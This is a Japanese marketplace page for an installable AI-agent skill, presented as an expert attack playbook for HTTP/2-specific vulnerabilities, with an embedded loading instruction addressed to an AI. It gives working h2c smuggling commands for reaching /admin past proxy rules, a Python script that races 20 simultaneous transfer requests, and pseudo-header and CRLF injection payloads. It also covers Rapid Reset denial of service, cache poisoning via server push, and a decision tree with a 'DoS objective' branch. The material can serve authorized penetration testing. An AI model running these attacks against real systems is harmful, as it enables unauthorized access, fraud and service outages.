mcpField
H
http2-specific-attacks

http2-specific-attacks

github.com/yaklangセキュリティ2.6k3.6k 回インストール6 週間前に更新
リポジトリ

http2-specific-attacks について

HTTP/2 固有のリスクを調べるセキュリティテスター向けの攻撃ガイドです。h2c、疑似ヘッダー、HPACK、多重化、HTTP/2 から HTTP/1.1 へのダウングレードを扱います。

主な機能

  1. 01h2c トンネルとリクエストスマグリング
  2. 02疑似ヘッダーの差異とインジェクション
  3. 03HPACK 圧縮攻撃
  4. 04多重化による競合とフラッド
  5. 05HTTP/2 ダウングレード時のインジェクション

活用シーン

  1. 01プロキシの h2c 処理の評価
  2. 02疑似ヘッダー解析差異のテスト
  3. 03HPACK と接続状態のリスク確認
  4. 04HTTP/2 ダウングレード処理の検証

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/yaklang/hack-skills --skill http2-specific-attacks

インストール後、Claude Code で/http2-specific-attacksを入力して読み込まれたか確認します。

詳細

スキル:HTTP/2 固有の攻撃 — エキスパート向け攻撃プレイブック

AI 読み込み指示:基本的なリクエストスマグリングを超える、HTTP/2 プロトコルレベルの攻撃手法を扱います。h2c スマグリング、疑似ヘッダー操作、HPACK 攻撃、シングルパケットの競合状態、H2→H1 ダウングレード時のインジェクションを網羅します。基盤モデルは HTTP/2 スマグリングと HTTP/1.1 スマグリングを混同しがちです。このスキルでは、H2 固有の攻撃対象領域に焦点を当てます。

0. 関連するルーティング


1. HTTP/2 の攻撃対象領域の概要

機能攻撃対象領域
バイナリフレーミングフレームレベルの操作、パーサーの解釈差
HPACK 圧縮圧縮オラクル(CRIME/BREACH)、テーブルポイズニング
多重化シングルパケットの競合状態、RST_STREAM フラッド
サーバープッシュ要求されていないプッシュによるキャッシュポイズニング
疑似ヘッダー(:method/:path/:authority/:scheme)インジェクション、リクエスト分割、パスの不一致

2. h2c(HTTP/2 クリアテキスト)スマグリング

2.1 概要

h2c は TLS を使用しない HTTP/2 で、HTTP/1.1 の Upgrade メカニズムを介してネゴシエーションされます。多くのリバースプロキシは Upgrade: h2c ヘッダーを理解しないまま転送するため、攻撃者はプロキシレベルのアクセス制御を回避できます。

Client ──[Upgrade: h2c]──> Reverse Proxy ──[forwards blindly]──> Backend
                                                                    │
                                                            Backend speaks H2
                                                            Proxy is blind to
                                                            the H2 conversation
2.2 攻撃の流れ
1. Client sends HTTP/1.1 request with:
   GET / HTTP/1.1
   Host: target.com
   Upgrade: h2c
   HTTP2-Settings: <base64 H2 settings>
   Connection: Upgrade, HTTP2-Settings

2. Proxy forwards request (doesn't understand h2c)
3. Backend responds: HTTP/1.1 101 Switching Protocols
4. Connection is now HTTP/2 between client and backend
5. Proxy is now a TCP tunnel — cannot inspect/filter H2 frames
6. Client sends H2 requests directly to backend, bypassing proxy rules
2.3 回避できるもの
✓ Path-based access controls (/admin blocked at proxy → accessible via h2c)
✓ WAF rules (proxy-side WAF can't inspect H2 binary frames)
✓ Rate limiting (proxy-level rate limits bypassed)
✓ Authentication (proxy-enforced auth headers)
✓ IP restrictions (proxy validates source IP, but h2c tunnel bypasses)
2.4 ツール:h2csmuggler
# Install
git clone https://github.com/BishopFox/h2csmuggler
cd h2csmuggler
pip3 install h2

# Basic smuggle — access /admin bypassing proxy restrictions
python3 h2csmuggler.py -x https://target.com/ --test

# Smuggle specific path
python3 h2csmuggler.py -x https://target.com/ -X GET -p /admin/users

# With custom headers
python3 h2csmuggler.py -x https://target.com/ -X GET -p /admin \
    -H "Authorization: Bearer token123"
2.5 検出
# Check if backend supports h2c upgrade
curl -v --http1.1 https://target.com/ \
    -H "Upgrade: h2c" \
    -H "HTTP2-Settings: AAMAAABkAAQCAAAAAAIAAAAA" \
    -H "Connection: Upgrade, HTTP2-Settings"

# 101 Switching Protocols → h2c supported
# 200/400/other → h2c not supported or proxy blocks upgrade

3. 疑似ヘッダーインジェクション

3.1 HTTP/2 の疑似ヘッダー

HTTP/2 では、リクエストラインが疑似ヘッダー(: をプレフィックスとするもの)に置き換えられます。

疑似ヘッダーHTTP/1.1 での対応要素例
:methodリクエストメソッドGET、POST
:pathリクエスト URI/api/users
:authorityHost ヘッダーtarget.com
:schemeプロトコルhttps
3.2 プロキシとバックエンド間のパスの不一致
Scenario: Proxy routes based on :path, backend uses different parsing

H2 request:
  :method: GET
  :path: /public/../admin/users
  :authority: target.com

Proxy sees: /public/../admin/users → matches /public/* rule → ALLOWED
Backend normalizes: /admin/users → serves admin content
3.3 疑似ヘッダーの重複インジェクション

HTTP/2 の仕様では疑似ヘッダーの重複は禁止されていますが、実装によって挙動は異なります。

:method: GET
:path: /public
:path: /admin       ← duplicate, forbidden by spec
:authority: target.com

Proxy may use first :path (/public) for routing
Backend may use last :path (/admin) for serving
3.4 authority と Host の不一致
:authority: public.target.com    ← proxy routes based on this
host: admin.internal.target.com  ← backend may prefer Host header

Result: proxy routes to public vhost, backend serves admin vhost
3.5 スキームの操作
:scheme: https
:path: /api/internal
:authority: target.com

If backend trusts :scheme to determine if request is "internal":
  :scheme: https → "external" → restricted
  :scheme: http  → "internal" → unrestricted access

4. HPACK 圧縮攻撃

4.1 HTTP/2 における CRIME/BREACH
Principle: HPACK compresses headers. If attacker controls part of a header and a secret
exists in the same compression context, matching guesses → smaller frames → oracle.

Limitation: HPACK uses static+dynamic table (not raw DEFLATE), per-connection table,
requires many requests on same connection. Harder than original CRIME.
4.2 ヘッダーテーブルポイズニング
HPACK dynamic table stores recent headers across requests on same connection.
1. Attacker sends X-Custom: malicious-value → added to dynamic table
2. Subsequent requests may reference this entry
3. If CDN/proxy pools connections → attacker and victim share table → cross-request leakage

5. ストリーム多重化の悪用

5.1 シングルパケット攻撃(競合状態)

HTTP/2 の多重化により、1 つの TCP パケットで複数のリクエストを送信でき、サーバー側で真に同時の処理を実現できます。

Traditional race condition: send N requests → network jitter → inconsistent timing
H2 single-packet: pack N requests into one TCP segment → all arrive simultaneously

                    ┌─ Stream 1: POST /transfer (amount=1000)
Single TCP packet ──├─ Stream 3: POST /transfer (amount=1000)
                    ├─ Stream 5: POST /transfer (amount=1000)
                    └─ Stream 7: POST /transfer (amount=1000)
                    
All 4 requests processed at the same nanosecond window
# Using h2 library — prepare all requests, send in single write
import h2.connection, h2.config, socket, ssl

ctx = ssl.create_default_context()
ctx.set_alpn_protocols(['h2'])
sock = ctx.wrap_socket(socket.create_connection((host, 443)), server_hostname=host)

conn = h2.connection.H2Connection(config=h2.config.H2Configuration(client_side=True))
conn.initiate_connection()
sock.sendall(conn.data_to_send())

for i in range(20):
    sid = conn.get_next_available_stream_id()
    conn.send_headers(sid, [(':method','POST'),(':path',path),(':authority',host),(':scheme','https')])
    conn.send_data(sid, b'amount=1000', end_stream=True)

sock.sendall(conn.data_to_send())  # ALL frames in single TCP packet
5.2 RST_STREAM フラッド(CVE-2023-44487「Rapid Reset」)
Attack: HEADERS (open stream) → RST_STREAM (cancel) → repeat thousands/sec
Server processes each open/close but client doesn't wait for responses
Amplification: minimal client resources → massive server CPU exhaustion
5.3 PRIORITY の操作
Set exclusive=true + weight=256 on attacker's stream → starve other users' requests

6. HTTP/2 → HTTP/1.1 のダウングレードに関する問題

6.1 バイナリ形式を介したヘッダーインジェクション

H2 のヘッダー値はバイナリであり、値の中の \r\n は有効なデータです。プロキシが H1 にダウングレードする際、ヘッダー値の \r\n は実際の改行になるため、ヘッダーインジェクションにつながります。

H2: X-Custom: "value\r\nInjected: evil"  → binary, valid
H1: X-Custom: value                      → line break
    Injected: evil                        → new header!
6.2 Transfer-Encoding スマグリング

H2 の仕様では transfer-encoding が禁止されていますが、一部のプロキシはダウングレード時にこれを通過させます。その結果、バックエンドがチャンク転送エンコーディングを処理し、H2.TE スマグリングが発生します。../request-smuggling/H2_SMUGGLING_VARIANTS.md を参照してください。

6.3 Content-Length の不一致

H2 ではフレーム長を使用するため、CL は不要です。プロキシがダウングレード時に CL を生成し、さらに攻撃者も CL ヘッダーを送信した場合、長さが競合してリクエストスマグリングが発生します。

6.4 ヘッダー名の大文字・小文字

H2 では小文字が必須です。Transfer-Encoding(大文字を含む)を送信するのは無効な H2 ですが、一部のプロキシはこれを通過させるため、バックエンドでは有効な H1 ヘッダーになります。


7. サーバープッシュによるキャッシュポイズニング

Attack: trigger server push for /static/app.js with attacker-controlled content
  → PUSH_PROMISE frame pushes malicious response
  → browser/CDN caches poisoned content under legitimate URL
  → all subsequent loads serve attacker's content

Mitigation: most modern browsers/CDNs restrict or disable server push

8. 判断ツリー

Target supports HTTP/2?
│
├── YES
│   ├── Does proxy support h2c upgrade?
│   │   ├── YES → h2c smuggling (Section 2)
│   │   │   └── Access restricted paths bypassing proxy rules
│   │   └── NO → Continue
│   │
│   ├── H2→H1 downgrade between proxy and backend?
│   │   ├── YES → Header injection via binary format (Section 6.1)
│   │   │   ├── TE header passthrough? → H2.TE smuggling (Section 6.2)
│   │   │   ├── CL discrepancy? → H2.CL smuggling (Section 6.3)
│   │   │   └── See ../request-smuggling/H2_SMUGGLING_VARIANTS.md
│   │   └── NO (end-to-end H2) → Continue
│   │
│   ├── Need race condition?
│   │   ├── YES → Single-packet attack via multiplexing (Section 5.1)
│   │   │   └── Pack N requests in one TCP segment
│   │   └── NO → Continue
│   │
│   ├── Pseudo-header manipulation viable?
│   │   ├── :path discrepancy → path confusion (Section 3.2)
│   │   ├── :authority vs Host → vhost confusion (Section 3.4)
│   │   └── :scheme manipulation → access control bypass (Section 3.5)
│   │
│   ├── Server push enabled?
│   │   ├── YES → Cache poisoning via push (Section 7)
│   │   └── NO → Continue
│   │
│   └── DoS objective?
│       ├── RST_STREAM rapid reset (Section 5.2)
│       └── PRIORITY starvation (Section 5.3)
│
└── NO (HTTP/1.1 only)
    └── See ../request-smuggling/SKILL.md for H1-specific techniques

9. ツールリファレンス

ツール用途
h2csmugglerh2c アップグレード・スマグリング(github.com/BishopFox/h2csmuggler)
http2smuglH2 固有のデシンクテスト(github.com/neex/http2smugl)
h2 (Python)フレーム作成用の HTTP/2 プロトコルライブラリ(github.com/python-hyper/h2)
nghttp2H2 クライアント/サーバーツール(nghttp2.org)
Burp HTTP Request Smugglerバリアントの自動スキャン
curl --http2手早い H2 プロービング(組み込み)

10. クイックリファレンス

# h2c probe
curl -v --http1.1 https://target.com/ -H "Upgrade: h2c" -H "Connection: Upgrade, HTTP2-Settings" -H "HTTP2-Settings: AAMAAABkAAQCAAAAAAIAAAAA"

# H2 support check
curl -v --http2 https://target.com/ 2>&1 | grep "ALPN"

コメント